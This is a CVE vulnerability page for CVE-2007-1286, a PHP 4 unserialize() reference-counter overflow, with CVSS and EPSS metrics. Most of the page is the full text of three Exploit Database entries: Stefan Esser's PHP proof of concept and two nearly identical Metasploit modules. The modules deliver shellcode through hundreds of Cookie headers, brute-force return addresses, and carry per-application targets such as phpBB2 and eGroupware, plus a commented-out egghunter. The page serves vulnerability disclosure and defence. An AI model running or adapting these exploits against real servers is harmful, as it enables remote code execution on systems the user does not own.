Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 3396
Publication date : 2007-03-01 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4 - unserialize() Reference Counter Overflow //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// This exploit is only designed for linux x86 systems
// where 0x08064058 is a readable address in the PHP process
// (should be unless binary images are relocated default systems)
//
// The exploit does nothing useful. It just proves that the CPU
// will try to execute the instruction at 0x99887766 which results
// in a crash. Just replace it with a pointer to your shellcode and
// it will work.
//
// To exploit phpBB2 with this you need to put a similar string
// into the cookie. You must work around the size limit of HTTP
// headers by using MANY Cookie: headers (not folded lines, real
// headers). Additionally you must put at the end of ever line
// a line terminator s:2:" and start every following line with
// ";N; of course with URL encoded ';'
$hashtable = str_repeat("A", 39);
$hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) {
$str .= 'i:0;R:2;';
}
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
unserialize($str);
?>
# milw0rm.com [2007-03-02]
Exploit Database EDB-ID : 16310
Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: php_unserialize_zval_cookie.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
'Description' => %q{
This module exploits an integer overflow vulnerability in the unserialize()
function of the PHP web server extension. This vulnerability was patched by
Stefan in version 4.5.0 and applies all previous versions supporting this function.
This particular module targets numerous web applications and is based on the proof
of concept provided by Stefan Esser. This vulnerability requires approximately 900k
of data to trigger due the multiple Cookie headers requirement. Since we
are already assuming a fast network connection, we use a 2Mb block of shellcode for
the brute force, allowing quick exploitation for those with fast networks.
One of the neat things about this vulnerability is that on x86 systems, the EDI register points
into the beginning of the hashtable string. This can be used with an egghunter to
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
module is more reliable across a wider range of systems.
},
'Author' =>
[
'hdm', # module development
'GML <grandmasterlogic [at] gmail.com>', # module development and debugging
'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2007-1286'],
['OSVDB', '32771'],
['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Targets' =>
[
#
# 64-bit SuSE: 0x005c0000
# Backtrack 2.0: 0xb797a000
# Gentoo: 0xb6900000
#
[ 'Linux x86 Generic',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 phpBB2',
{
'DefaultCookie' => 'phpbb2mysql_data',
'DefaultURI' => '/phpBB2/faq.php',
'Signature' => /Powered\s+by.*phpBB/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 punBB',
{
'DefaultCookie' => 'punbb_cookie',
'DefaultURI' => '/index.php',
'Signature' => /Powered\s+by.*PunBB/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 WWWThreads',
{
'DefaultCookie' => 'forum_cookie',
'DefaultURI' => '/index.php',
'Signature' => /Powered\s+by.*WWWThreads/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 Deadman Redirect',
{
'DefaultCookie' => 'authcookie',
'DefaultURI' => '/dmr/dmr.php',
'Signature' => /document\.f\.userdata\.focus/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 PhpWebGallery',
{
'DefaultCookie' => 'pwg_remember',
'DefaultURI' => '/phpwebgallery/index.php',
'Signature' => /Powered\s+by.*phpwebgallery/msi,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 Ariadne-CMS',
{
'DefaultCookie' => 'ARCookie',
'DefaultURI' => '/ariadne/loader.php/',
'Signature' => /Ariadne is free software/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 ProMA',
{
'DefaultCookie' => 'proma',
'DefaultURI' => '/proma/index.php',
'Signature' => /Change Account Information/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 eGroupware',
{
'DefaultCookie' => 'eGW_remember',
'DefaultURI' => '/egroupware/login.php',
'Signature' => /www.egroupware.org/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
]
],
'DisclosureDate' => 'Mar 04 2007'))
register_options(
[
OptString.new('URI', [false, "The path to vulnerable PHP script"]),
OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
], self.class)
end
def check
print_status("Checking for a vulnerable PHP version...")
#
# Pick the URI and Cookie name
#
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
uri_path = datastore['URI'] || target['DefaultURI']
if(not cookie_name)
raise RuntimeError, "The COOKIENAME option must be set"
end
if(not uri_path)
raise RuntimeError, "The URI option must be set"
end
res = send_request_cgi({
'uri' => uri_path,
'method' => 'GET'
}, 5)
php_bug = false
if (not res)
print_status("No response from the server")
return Exploit::CheckCode::Safe
end
http_fingerprint({ :response => res }) # check method
if (res.code != 200)
print_status("The server returned #{res.code} #{res.message}")
return Exploit::CheckCode::Safe
end
if (
(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
)
php_raw = $1
php_ver = php_raw.split('.')
if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
print_status("The server runs a vulnerable version of PHP (#{php_raw})")
php_bug = true
else
print_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
return Exploit::CheckCode::Safe
end
end
# Detect the phpBB cookie name
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)
print_status("The server may require a cookie name of '#{$1}_data'")
end
if(target and target['Signature'])
if (res.body and res.body.match(target['Signature']))
print_status("Detected target #{target.name}")
else
print_status("Did not detect target #{target.name}")
end
end
return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears
end
def brute_exploit(target_addrs)
zvalref = encode_semis('i:0;R:2;')
#
# Use this if we decide to do 'jmp edi' returns vs brute force
#
=begin
# Linux specific egg-hunter
tagger = "\x90\x50\x90\x50"
hunter =
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
"\x3c\xf2\x74\xf1\xb8" +
tagger +
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
egghunter = "\xcc" * 39
egghunter[0, hunter.length] = hunter
hashtable = "\xcc" * 39
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
=end
#
# Just brute-force addresses for now
#
tagger = ''
egghunter = rand_text_alphanumeric(39)
hashtable = rand_text_alphanumeric(39)
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
#
# Pick the URI and Cookie name
#
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
uri_path = datastore['URI'] || target['DefaultURI']
if(not cookie_name)
raise RuntimeError, "The COOKIENAME option must be set"
end
if(not uri_path)
raise RuntimeError, "The URI option must be set"
end
# Generate and reuse the original buffer to save CPU
if (not @saved_cookies)
# Building the malicious request
print_status("Creating the request...")
# Create the first cookie header to get this started
cookie_fun = "Cookie: #{cookie_name}="
cookie_fun << Rex::Text.uri_encode(
'a:100000:{s:8:"' +
rand_text_alphanumeric(8) +
'";a:3:{s:12:"' +
rand_text_alphanumeric(12) +
'";a:1:{s:12:"' +
rand_text_alphanumeric(12) +
'";i:0;}s:12:"' +
rand_text_alphanumeric(12) +
'";'+
'i:0;s:12:"' +
rand_text_alphanumeric(12) +
'";i:0;}'
)
cookie_fun << zvalref * 500
cookie_fun << Rex::Text.uri_encode('s:2:"')
cookie_fun << "\r\n"
refcnt = 1000
refmax = 65535
# Keep adding cookie headers...
while(refcnt < refmax)
chead = 'Cookie: ';
chead << encode_semis('";N;')
# Stay within the 8192 byte limit
0.upto(679) do |i|
break if refcnt >= refmax
refcnt += 1
chead << zvalref
end
chead << encode_semis('s:2:"')
cookie_fun << chead + "\r\n"
end
# The final header, including the hashtable with return address
cookie_fun << "Cookie: "
cookie_fun << Rex::Text.uri_encode('";N;')
cookie_fun << zvalref * 500
@saved_cookies = cookie_fun
end
# Generate and reuse the payload to save CPU time
if (not @saved_payload)
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
end
cookie_addrs = Rex::Text.uri_encode(
's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
) + "\r\n"
print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'raw_headers' => @saved_cookies + cookie_addrs,
'data' => @saved_payload
}, 1)
if res
failed = false
print_status("Received a response: #{res.code} #{res.message}")
if (res.code != 200)
print_error("The server returned a non-200 response, indicating that the exploit failed.")
failed = true
end
if (not failed and (res.body and res.body.length > 0))
print_error("The server returned a real response, indicating that the exploit failed.")
failed = true
end
if (failed)
print_status("Please verify the URI and COOKIENAME parameters.")
print_line('')
print_line("*" * 40)
print_line(res.body)
print_line("*" * 40)
print_line('')
raise RuntimeError, "Exploit settings are probably wrong"
end
else
print_status("No response from the server")
end
end
def encode_semis(str)
str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
end
end
Exploit Database EDB-ID : 9939
Publication date : 2007-02-28 23h00 +00:00
Author : sesser
EDB Verified : Yes
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
'Description' => %q{
This module exploits an integer overflow vulnerability in the unserialize()
function of the PHP web server extension. This vulnerability was patched by
Stefan in version 4.5.0 and applies all previous versions supporting this function.
This particular module targets numerous web applications and is based on the proof
of concept provided by Stefan Esser. This vulnerability requires approximately 900k
of data to trigger due the multiple Cookie headers requirement. Since we
are already assuming a fast network connection, we use a 2Mb block of shellcode for
the brute force, allowing quick exploitation for those with fast networks.
One of the neat things about this vulnerability is that on x86 systems, the EDI register points
into the beginning of the hashtable string. This can be used with an egghunter to
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
module is more reliable across a wider range of systems.
},
'Author' =>
[
'hdm', # module development
'GML <grandmasterlogic [at] gmail.com>', # module development and debugging
'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2007-1286'],
['OSVDB', '32771'],
['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Targets' =>
[
#
# 64-bit SuSE: 0x005c0000
# Backtrack 2.0: 0xb797a000
# Gentoo: 0xb6900000
#
[ 'Linux x86 Generic',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 phpBB2',
{
'DefaultCookie' => 'phpbb2mysql_data',
'DefaultURI' => '/phpBB2/faq.php',
'Signature' => /Powered\s+by.*phpBB/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 punBB',
{
'DefaultCookie' => 'punbb_cookie',
'DefaultURI' => '/index.php',
'Signature' => /Powered\s+by.*PunBB/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 WWWThreads',
{
'DefaultCookie' => 'forum_cookie',
'DefaultURI' => '/index.php',
'Signature' => /Powered\s+by.*WWWThreads/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 Deadman Redirect',
{
'DefaultCookie' => 'authcookie',
'DefaultURI' => '/dmr/dmr.php',
'Signature' => /document\.f\.userdata\.focus/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 PhpWebGallery',
{
'DefaultCookie' => 'pwg_remember',
'DefaultURI' => '/phpwebgallery/index.php',
'Signature' => /Powered\s+by.*phpwebgallery/msi,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 Ariadne-CMS',
{
'DefaultCookie' => 'ARCookie',
'DefaultURI' => '/ariadne/loader.php/',
'Signature' => /Ariadne is free software/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 ProMA',
{
'DefaultCookie' => 'proma',
'DefaultURI' => '/proma/index.php',
'Signature' => /Change Account Information/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
],
[ 'Linux x86 eGroupware',
{
'DefaultCookie' => 'eGW_remember',
'DefaultURI' => '/egroupware/login.php',
'Signature' => /www.egroupware.org/,
'Platform' => 'linux',
'Arch' => [ ARCH_X86 ],
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xb6000400 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 1024*1024
}
}
]
],
'DisclosureDate' => 'Mar 04 2007'))
register_options(
[
OptString.new('URI', [false, "The path to vulnerable PHP script"]),
OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
], self.class)
end
def check
print_status("Checking for a vulnerable PHP version...")
#
# Pick the URI and Cookie name
#
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
uri_path = datastore['URI'] || target['DefaultURI']
if(not cookie_name)
raise RuntimeError, "The COOKIENAME option must be set"
end
if(not uri_path)
raise RuntimeError, "The URI option must be set"
end
res = send_request_cgi({
'uri' => uri_path,
'method' => 'GET'
}, 5)
php_bug = false
if (not res)
print_status("No response from the server")
return Exploit::CheckCode::Safe
end
if (res.code != 200)
print_status("The server returned #{res.code} #{res.message}")
return Exploit::CheckCode::Safe
end
if (
(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
)
php_raw = $1
php_ver = php_raw.split('.')
if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
print_status("The server runs a vulnerable version of PHP (#{php_raw})")
php_bug = true
else
print_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
return Exploit::CheckCode::Safe
end
end
# Detect the phpBB cookie name
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)
print_status("The server may require a cookie name of '#{$1}_data'")
end
if(target and target['Signature'])
if (res.body and res.body.match(target['Signature']))
print_status("Detected target #{target.name}")
else
print_status("Did not detect target #{target.name}")
end
end
return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears
end
def brute_exploit(target_addrs)
zvalref = encode_semis('i:0;R:2;')
#
# Use this if we decide to do 'jmp edi' returns vs brute force
#
=begin
# Linux specific egg-hunter
tagger = "\x90\x50\x90\x50"
hunter =
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
"\x3c\xf2\x74\xf1\xb8" +
tagger +
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
egghunter = "\xcc" * 39
egghunter[0, hunter.length] = hunter
hashtable = "\xcc" * 39
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
=end
#
# Just brute-force addresses for now
#
tagger = ''
egghunter = rand_text_alphanumeric(39)
hashtable = rand_text_alphanumeric(39)
hashtable[20, 4] = [target_addrs['Ret']].pack('V')
hashtable[32, 4] = [target_addrs['Ret']].pack('V')
#
# Pick the URI and Cookie name
#
cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
uri_path = datastore['URI'] || target['DefaultURI']
if(not cookie_name)
raise RuntimeError, "The COOKIENAME option must be set"
end
if(not uri_path)
raise RuntimeError, "The URI option must be set"
end
# Generate and reuse the original buffer to save CPU
if (not @saved_cookies)
# Building the malicious request
print_status("Creating the request...")
# Create the first cookie header to get this started
cookie_fun = "Cookie: #{cookie_name}="
cookie_fun << Rex::Text.uri_encode(
'a:100000:{s:8:"' +
rand_text_alphanumeric(8) +
'";a:3:{s:12:"' +
rand_text_alphanumeric(12) +
'";a:1:{s:12:"' +
rand_text_alphanumeric(12) +
'";i:0;}s:12:"' +
rand_text_alphanumeric(12) +
'";'+
'i:0;s:12:"' +
rand_text_alphanumeric(12) +
'";i:0;}'
)
cookie_fun << zvalref * 500
cookie_fun << Rex::Text.uri_encode('s:2:"')
cookie_fun << "\r\n"
refcnt = 1000
refmax = 65535
# Keep adding cookie headers...
while(refcnt < refmax)
chead = 'Cookie: ';
chead << encode_semis('";N;')
# Stay within the 8192 byte limit
0.upto(679) do |i|
break if refcnt >= refmax
refcnt += 1
chead << zvalref
end
chead << encode_semis('s:2:"')
cookie_fun << chead + "\r\n"
end
# The final header, including the hashtable with return address
cookie_fun << "Cookie: "
cookie_fun << Rex::Text.uri_encode('";N;')
cookie_fun << zvalref * 500
@saved_cookies = cookie_fun
end
# Generate and reuse the payload to save CPU time
if (not @saved_payload)
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
end
cookie_addrs = Rex::Text.uri_encode(
's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
) + "\r\n"
print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'raw_headers' => @saved_cookies + cookie_addrs,
'data' => @saved_payload
}, 1)
if res
failed = false
print_status("Received a response: #{res.code} #{res.message}")
if (res.code != 200)
print_status("The server returned a non-200 response, indicating that the exploit failed.")
failed = true
end
if (not failed and (res.body and res.body.length > 0))
print_status("The server returned a real response, indicating that the exploit failed.")
failed = true
end
if (failed)
print_status("Please verify the URI and COOKIENAME parameters.")
print_line('')
print_line("*" * 40)
print_line(res.body)
print_line("*" * 40)
print_line('')
raise RuntimeError, "Exploit settings are probably wrong"
end
else
print_status("No response from the server")
end
end
def encode_semis(str)
str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
end
end
Products Mentioned
Configuraton 0
Php>>Php >> Version To (including) 4.4.4
References